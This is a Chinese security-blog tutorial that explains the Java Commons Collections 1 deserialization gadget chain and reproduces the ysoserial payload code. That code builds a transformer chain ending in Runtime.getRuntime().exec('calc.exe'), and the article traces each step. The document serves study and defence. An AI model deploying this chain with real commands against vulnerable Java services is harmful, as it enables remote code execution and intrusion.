freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Commons Collections 1反序列化利用链详解
2024-12-17 21:05:13
所属地 湖北省

前置知识

Apache Commons Collections

  • Apache Commons Collections 库库提供了一系列扩展的集合类,它可以帮助开发者更方便地处理各种数据集合相关的操作,并且提供了很多在 Java 标准集合框架(java.util包中的集合类)基础上的增强功能,比如开发时经常用到的CollectionUtils可以帮助我们进行集合的判空(isEmpty)

Proxy(代理)

什么是 Proxy(代理)

  • 在 Java 中,Proxy就像是一个中间人。想象一下,你想要和一个明星(真实的对象)联系,但是不能直接联系,这时候你可以通过经纪人(代理对象)来和明星沟通。在 Java 里,这个经纪人就是Proxy

  • Proxy代理主要用于在不修改原始类(被代理的类)代码的情况下,控制对这个类的访问或者增强这个类的功能。

Proxy 的工作机制

  • 创建代理对象

    • 首先,需要定义一个接口。这个接口就像是明星和经纪人之间的一个 “沟通协议”,规定了有哪些方法可以被调用。例如,明星有一个 “签名” 的方法,那么在接口里就会有一个对应的sign()方法。

    • 然后,使用Proxy类的newProxyInstance()方法来创建代理对象。这个方法需要三个参数:类加载器(可以简单理解为用来加载类的工具)、一个接口数组(就是刚刚说的那个 “沟通协议”)和一个InvocationHandler(这是真正干活的,后面会详细说)。

  • InvocationHandler的作用

    • InvocationHandler就像是经纪人的大脑,它决定了代理对象收到方法调用时该怎么做。当你通过代理对象调用一个方法时,实际上是InvocationHandlerinvoke()方法在处理这个调用。

    • 例如,当你让代理对象(经纪人)调用明星的 “签名” 方法时,invoke()方法可以在真正调用明星的 “签名” 方法之前,做一些额外的事情,比如检查你是否有资格让明星签名,或者在签名之后记录一下这次签名的情况。

    一个简单的例子

    interface Fans {
        void sign();
        boolean isVIP();
    }
    
    class indivialFans implements Fans {
        private boolean isVIP;
        @Override
        public void sign() {
            System.out.println("获得一个Star的【签名】");
        }
    
        @Override
        public boolean isVIP() {
            return isVIP;
        }
    
        public indivialFans(boolean isVIP) {
            this.isVIP = isVIP;
        }
    }
    
    class FansInvocationHandler implements InvocationHandler {
        private final Fans fans;
    
        public FansInvocationHandler(Fans fans) {
            this.fans = fans;
        }
    
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            System.out.println("检测是否拥有签名资格");
            if (!fans.isVIP()) {
                System.out.println("没有资格,不能签名");
                return null;
            }
            Object result = method.invoke(fans, args);
            System.out.println("签名成功");
            return result;
        }
    }
    
    public class DemoApplication {
        public static void main(String[] args) {
            Fans fansA = new indivialFans(true);
            Fans fansB = new indivialFans(false);
            FansInvocationHandler handlerA = new FansInvocationHandler(fansA);
            FansInvocationHandler handlerB = new FansInvocationHandler(fansB);
            Fans aProxy = (Fans) Proxy.newProxyInstance(
                    fansA.getClass().getClassLoader(),
                    fansA.getClass().getInterfaces(),
                    handlerA);
            Fans bProxy = (Fans) Proxy.newProxyInstance(
                    fansB.getClass().getClassLoader(),
                    fansB.getClass().getInterfaces(),
                    handlerB);
            aProxy.sign();
            System.out.println("=====================================");
            bProxy.sign();
        }
    }
    
    /* 执行结果
    检测是否拥有签名资格
    获得一个Star的【签名】
    签名成功
    =====================================
    检测是否拥有签名资格
    没有资格,不能签名
    */
    

Commons Collections 1 反序列化链

环境项目:ysoserial CommonsCollections1

Gadget构造

// 在ysoserial CC1项目环境下
public class   extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    public static void main(String[] args) throws Exception {
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });

        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            // 获取Runtime.getRuntime()方法 (tips:这里获取的是Mehtod类型)
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // 反射执行Runtime.getRuntime()方法,得到Runtime实例对象
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            // 执行 exec方法,完成rce
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        //从get方法中触发transformerChain.transform
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        // 创建Map 代理,以便触发AnnotationInvocationHandler的invoke,再触发lazymap.get方法
        // tips: 该AnnotationInvocationHandler与下面的是两个实例对象,且作用不同,下文会讲到
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        // 创建AnnotationInvocationHandler代理handler
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

Gadget链分析

前半段

​ 既然最终序列化的是AnnotationInvocationHandler,便从其readObject方法开始回溯

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    ...
    ...
    Iterator var4 = this.memberValues.entrySet().iterator();
    ...
    ...
}

​ 关注this.memberValues.entrySet()方法,这里需要注意,在整个反序列化过程中,会分先后顺序两次进入AnnotationInvocationHandler的readObject:

readObject调用栈

根据栈的运行机制"后进入的先调用",故先看后进入的readObject方法

​ 在Iterator var4 = this.memberValues.entrySet().iterator();的前一行打下断点。

​ 如果一行一行代码去分析,会很麻烦,而且IDEA对于某些方法的debug会出错,导致自己一不小心就绕进去。故回到ysoserial项目中去简单分析一下为什么要这样构造pop链。

​ 跟进Gadgets.createMemoizedInvocationHandler

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        // public static final String ANN_INV_HANDLER_CLASS
    	// = "sun.reflect.annotation.AnnotationInvocationHandler"
    }

​ 发现是通过反射调用有参构造方法创建一个AnnotationInvocationHandler对象,并且传进去了2个参数,一个Override.class,一个被代理的Map(实际为LazyMap类型),跟进看一下它的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

​ 到这我们可知关注的对象有两个,分别为type成员变量memberValue成员变量,回到刚才的readObject方法(栈顶的readObject),

栈顶的readObject

​ 可以看到其type为Override的class对象,memberValues为LazyMap,且在readObject方法中关于这两个变量的操作,只有一个构造行为和调用entrySet,并且追溯后发现最终调用的是被LazyMap修饰的HashMap.enTrySet(),和该项目构建的gadget没有联系。

​ 故直接跟进至后调用的AnnotationInvocationHandlerreadObject方法中,观察其成员属性

​ 此时memberValue为Proxy代理对象,而根据前置知识中提到的代理机制,对代理对象的任何方法前都会走到其handler中的invoke方法

​ 跟进AnnotationInvocationHandler.invoke方法,其var4为entrySet,也就是刚才readObject中调用的entrySet方法名,需要注意的是,现在的所处的AnnotationInvocationHandler已经不是刚才的handler了,而是Proxy map中的handler

// CommonsCollections1.java
// 作用是触发LazyMap.get,从而执行transformerChain
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

// AnnotationInvocationHandler,作用是在readObject中调用mapProxy.entrySet()以触发invoke,其自身的invoke不重要
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

// Gadgets.java
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    // 这里用到了一个新的AnnotationInvocationHandler
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

​ 此时memberValuesLazyMap,会根据switch分支调用自身的get方法

​ 跟进LazyMap.get方法

LazyMap.get方法

​ 这里的逻辑就比较简单明了,如果被修饰的HashMap里不存在方法名entrySet,就调用factory成员变量的transform方法,到此,CC1的前半段便结束了。

​ 梳理一下CC1的前半段都干了什么:

  1. 将一个单独的AnnotationInvocationHandler作为入口,在反序列化时调用其构造时传入的mapProxy的entrySet方法

  2. mapProxy触发拦截机制,进入invoke方法,根据"entrySet"方法名,switch将走到默认分支,执行LazyMap.get()

  3. LazyMap.get触发transformers的一连串执行

    前半段的调用链如下:

    // 独立的handler
    AnnotationInvocationHandler.readObject()->
    	mapProxy.entrySet()->
    		// mapProxy.handler
    		AnnotationInvocationHandler.invoke()->
    			Lazymap.get()->
    				transformerChain.transform()->
    ...
    

后半段

​ 后半部分的调用链没有特别的机制,但是逻辑会比较绕,涉及到多个反射套反射的操作

final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

​ 这一部分从transformerChain.transform()开始,那么先看下ChainedTransformer的相关方法,主要涉及构造方法转换方法(transform)

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里要看明白转换的逻辑,相当于是一个链式的转换,前一个transform的结果作为后一个transform的输入

​ 涉及到的2种transform方法如下:

// InvokerTransformer.class    
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                InvocationTargetException ex = var7;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }

// ConstantTransformer.class
public Object transform(Object input) {
    return this.iConstant;
}

​ ysoserial一共组装了5条转换器到达最终的RCE,从第一条开始分析

这里最好亲自debug头脑风暴一遍,赘述再多也不如亲自走一遍

​ 【0】ConstantTransformer.transform:直接返回Runtime.class这个class对象,很明确

​ 【1】InvokerTransformer.transform:

​ (1)拿到Class.class,通过反射获取Class.getMethod方法(Method类型);

​ (2)在【0】转换器返回的Runtime.class对象上反射调用(1)拿到的getMethod方法,最终获取Runtime.getRuntime方法 (Method类型)

【1】等效于return Runtime.class.getMethod("getRuntime")

20241217_6.jpg

​ 【2】InvokerTransformer.transform

​ (1)拿到Method.class,通过反射获取Method.invoke方法(Method类型)

​ (2)在【1】Runtime.getRuntime这个Method对象上反射调用**(1)中拿到的invoke方法,最终获取Runtime实例对象**(反射调用Runtime.getRuntime()方法的返回结果)

【2】等效于return Runtime.getRuntime()

​ 【3】InvokerTransformer.transform

​ (1)拿到Runtime.class,通过反射获取Runtime.exec方法(Method类型)

​ (2)在【2】Runtime实例对象上反射调用exec("calc")方法,到此完成RCE

【3】等效于return Runtime.getRuntime.exec("calc")

【4】ConstantTransformer的作用应该是实现逻辑闭环,不参与RCE过程

CC1后半部分的调用链如下:

ChainedTransformer.transform()->
    ConstantTransformer.transform()->
    	InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 InvokerTransformer.transform()-> Runtime.getRuntime()
    			 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")

完整的Gadget链

// 独立的handler
AnnotationInvocationHandler.readObject()->
	mapProxy.entrySet()->
		// mapProxy.handler
		AnnotationInvocationHandler.invoke()->
			Lazymap.get()->
				transformerChain.transform()->
					ChainedTransformer.transform()->
    					ConstantTransformer.transform()->
    						InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 					InvokerTransformer.transform()-> Runtime.getRuntime()
    								 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")
# java反序列化 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录